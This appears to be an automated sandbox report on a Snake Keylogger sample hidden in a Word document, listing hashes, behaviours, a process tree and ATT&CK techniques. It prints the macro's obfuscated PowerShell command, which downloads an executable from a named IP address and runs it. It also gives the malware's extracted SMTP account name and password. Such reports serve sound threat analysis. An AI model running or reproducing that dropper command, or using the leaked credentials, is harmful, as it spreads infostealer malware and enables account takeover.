snakekeylogger | ea26039022e9c98e3d40700610f8c28f7d2b1d5f11394e0e22f2a40bf876ea31

General

Target

EFI_01037508200.doc
Size

387KB
MD5

21ebc4527aecb50fc3adc65b610d3653
SHA1

3cf5df8b2e1e670ea2c85eec6f048d0c889bd715
SHA256

ea26039022e9c98e3d40700610f8c28f7d2b1d5f11394e0e22f2a40bf876ea31
SHA512

07fca5507656fd96ca707c6c88f5b139d3f638e313c465b677f448be769606794ca48fe6018ddc80ee4477035f6713e2c5053077f5465e39247a4f8b33e568fc

Score

10^/10

snakekeylogger keylogger spyware stealer

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://212.192.241.94/bluehost/75tgsoleApp19.exe

Extracted

Family

snakekeylogger

Credentials

Protocol: smtp
Host:
smtp.yandex.ru
Port:
587
Username:
lagardan@yandex.com
Password:
pP!@*&@)555

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	1416	528	powershell.exe	WINWORD.EXE

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

processever.exe

pid process

1512 processever.exe
Loads dropped DLL 1 IoCs

Processes:

processever.exe

pid process

924 processever.exe
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

6 checkip.dyndns.org
11 freegeoip.app
12 freegeoip.app
Suspicious use of SetThreadContext 1 IoCs

Processes:

processever.exe

description pid process target process

PID 924 set thread context of 1512 924 processever.exe processever.exe
Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

pid	process
1512	processever.exe

pid	process
924	processever.exe

flow	ioc
6	checkip.dyndns.org
11	freegeoip.app
12	freegeoip.app

description	pid	process	target process
PID 924 set thread context of 1512	924	processever.exe	processever.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

528 WINWORD.EXE

pid	process
528	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

Processes:

powershell.exeprocessever.exeprocessever.exe

pid	process
1416	powershell.exe
924	processever.exe
924	processever.exe
1512	processever.exe
1512	processever.exe
1512	processever.exe
1512	processever.exe
1512	processever.exe
1512	processever.exe
1512	processever.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exeprocessever.exeprocessever.exe

description pid process

Token: SeDebugPrivilege 1416 powershell.exe
Token: SeDebugPrivilege 924 processever.exe
Token: SeDebugPrivilege 1512 processever.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

528 WINWORD.EXE
528 WINWORD.EXE

description	pid	process
Token: SeDebugPrivilege	1416	powershell.exe
Token: SeDebugPrivilege	924	processever.exe
Token: SeDebugPrivilege	1512	processever.exe

pid	process
528	WINWORD.EXE
528	WINWORD.EXE

Suspicious use of WriteProcessMemory 21 IoCs

Processes:

WINWORD.EXEpowershell.exeprocessever.exe

description	pid	process	target process
PID 528 wrote to memory of 1416	528	WINWORD.EXE	powershell.exe
PID 528 wrote to memory of 1416	528	WINWORD.EXE	powershell.exe
PID 528 wrote to memory of 1416	528	WINWORD.EXE	powershell.exe
PID 528 wrote to memory of 1416	528	WINWORD.EXE	powershell.exe
PID 1416 wrote to memory of 924	1416	powershell.exe	processever.exe
PID 1416 wrote to memory of 924	1416	powershell.exe	processever.exe
PID 1416 wrote to memory of 924	1416	powershell.exe	processever.exe
PID 1416 wrote to memory of 924	1416	powershell.exe	processever.exe
PID 528 wrote to memory of 884	528	WINWORD.EXE	splwow64.exe
PID 528 wrote to memory of 884	528	WINWORD.EXE	splwow64.exe
PID 528 wrote to memory of 884	528	WINWORD.EXE	splwow64.exe
PID 528 wrote to memory of 884	528	WINWORD.EXE	splwow64.exe
PID 924 wrote to memory of 1512	924	processever.exe	processever.exe
PID 924 wrote to memory of 1512	924	processever.exe	processever.exe
PID 924 wrote to memory of 1512	924	processever.exe	processever.exe
PID 924 wrote to memory of 1512	924	processever.exe	processever.exe
PID 924 wrote to memory of 1512	924	processever.exe	processever.exe
PID 924 wrote to memory of 1512	924	processever.exe	processever.exe
PID 924 wrote to memory of 1512	924	processever.exe	processever.exe
PID 924 wrote to memory of 1512	924	processever.exe	processever.exe
PID 924 wrote to memory of 1512	924	processever.exe	processever.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\EFI_01037508200.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:528

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h Start-BitsTransfer -Source "htt`p://212.192.241.94/bluehost/75tgsoleApp19.exe" -Destination "C:\Users\Public\Documents\processever.exe";C:\Users\Public\Documents\processever.exe
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1416

C:\Users\Public\Documents\processever.exe
"C:\Users\Public\Documents\processever.exe"
3⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:924

C:\Users\Admin\AppData\Local\Temp\processever.exe
C:\Users\Admin\AppData\Local\Temp\processever.exe
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1512

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:884

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

3

T1081

Discovery

Lateral Movement

Collection

Data from Local System

3

T1005

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\processever.exe
MD5
df6e05150232b27c424b0e7813487491

SHA1
345a18019391a7d530628a55c2f1bd8379ef0ad5

SHA256
52309c4bfd0f4a78a05edff800c412760c488ef60f6709f6f9038dc1f315f17a

SHA512
d60d3fb015a997f52e6a069e427e0544e875ac84c1b48e7468b4e4b4a70df09a4bc7adbd5f8cefa57072df59d964480d99cc5b496750e3c12f4ab92f0c750db9

Download Submit
C:\Users\Admin\AppData\Local\Temp\processever.exe
MD5
df6e05150232b27c424b0e7813487491

SHA1
345a18019391a7d530628a55c2f1bd8379ef0ad5

SHA256
52309c4bfd0f4a78a05edff800c412760c488ef60f6709f6f9038dc1f315f17a

SHA512
d60d3fb015a997f52e6a069e427e0544e875ac84c1b48e7468b4e4b4a70df09a4bc7adbd5f8cefa57072df59d964480d99cc5b496750e3c12f4ab92f0c750db9

Download Submit
\Users\Admin\AppData\Local\Temp\processever.exe
MD5
df6e05150232b27c424b0e7813487491

SHA1
345a18019391a7d530628a55c2f1bd8379ef0ad5

SHA256
52309c4bfd0f4a78a05edff800c412760c488ef60f6709f6f9038dc1f315f17a

SHA512
d60d3fb015a997f52e6a069e427e0544e875ac84c1b48e7468b4e4b4a70df09a4bc7adbd5f8cefa57072df59d964480d99cc5b496750e3c12f4ab92f0c750db9

Download Submit
memory/528-109-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/528-61-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/528-60-0x000000006FF91000-0x000000006FF93000-memory.dmp

Filesize
8KB

Download
memory/528-59-0x0000000072511000-0x0000000072514000-memory.dmp

Filesize
12KB

Download
memory/884-94-0x000007FEFBBB1000-0x000007FEFBBB3000-memory.dmp

Filesize
8KB

Download
memory/884-93-0x0000000000000000-mapping.dmp

Download
memory/924-89-0x0000000000000000-mapping.dmp

Download
memory/924-100-0x00000000049B0000-0x0000000004A11000-memory.dmp

Filesize
388KB

Download
memory/924-95-0x00000000005D0000-0x0000000000619000-memory.dmp

Filesize
292KB

Download
memory/924-92-0x0000000004850000-0x0000000004851000-memory.dmp

Filesize
4KB

Download
memory/924-90-0x0000000001070000-0x0000000001071000-memory.dmp

Filesize
4KB

Download
memory/1416-66-0x0000000005140000-0x0000000005141000-memory.dmp

Filesize
4KB

Download
memory/1416-65-0x00000000046B0000-0x00000000046B1000-memory.dmp

Filesize
4KB

Download
memory/1416-86-0x0000000006380000-0x0000000006381000-memory.dmp

Filesize
4KB

Download
memory/1416-79-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/1416-78-0x0000000006520000-0x0000000006521000-memory.dmp

Filesize
4KB

Download
memory/1416-77-0x0000000006210000-0x0000000006211000-memory.dmp

Filesize
4KB

Download
memory/1416-72-0x00000000057A0000-0x00000000057A1000-memory.dmp

Filesize
4KB

Download
memory/1416-69-0x0000000005240000-0x0000000005241000-memory.dmp

Filesize
4KB

Download
memory/1416-67-0x0000000001FD0000-0x0000000002C1A000-memory.dmp

Filesize
12.3MB

Download
memory/1416-87-0x0000000005740000-0x0000000005741000-memory.dmp

Filesize
4KB

Download
memory/1416-62-0x0000000000000000-mapping.dmp

Download
memory/1416-63-0x0000000075FF1000-0x0000000075FF3000-memory.dmp

Filesize
8KB

Download
memory/1416-64-0x0000000001E40000-0x0000000001E41000-memory.dmp

Filesize
4KB

Download
memory/1512-103-0x000000000041FC9E-mapping.dmp

Download
memory/1512-106-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/1512-108-0x0000000004D00000-0x0000000004D01000-memory.dmp

Filesize
4KB

Download
memory/1512-102-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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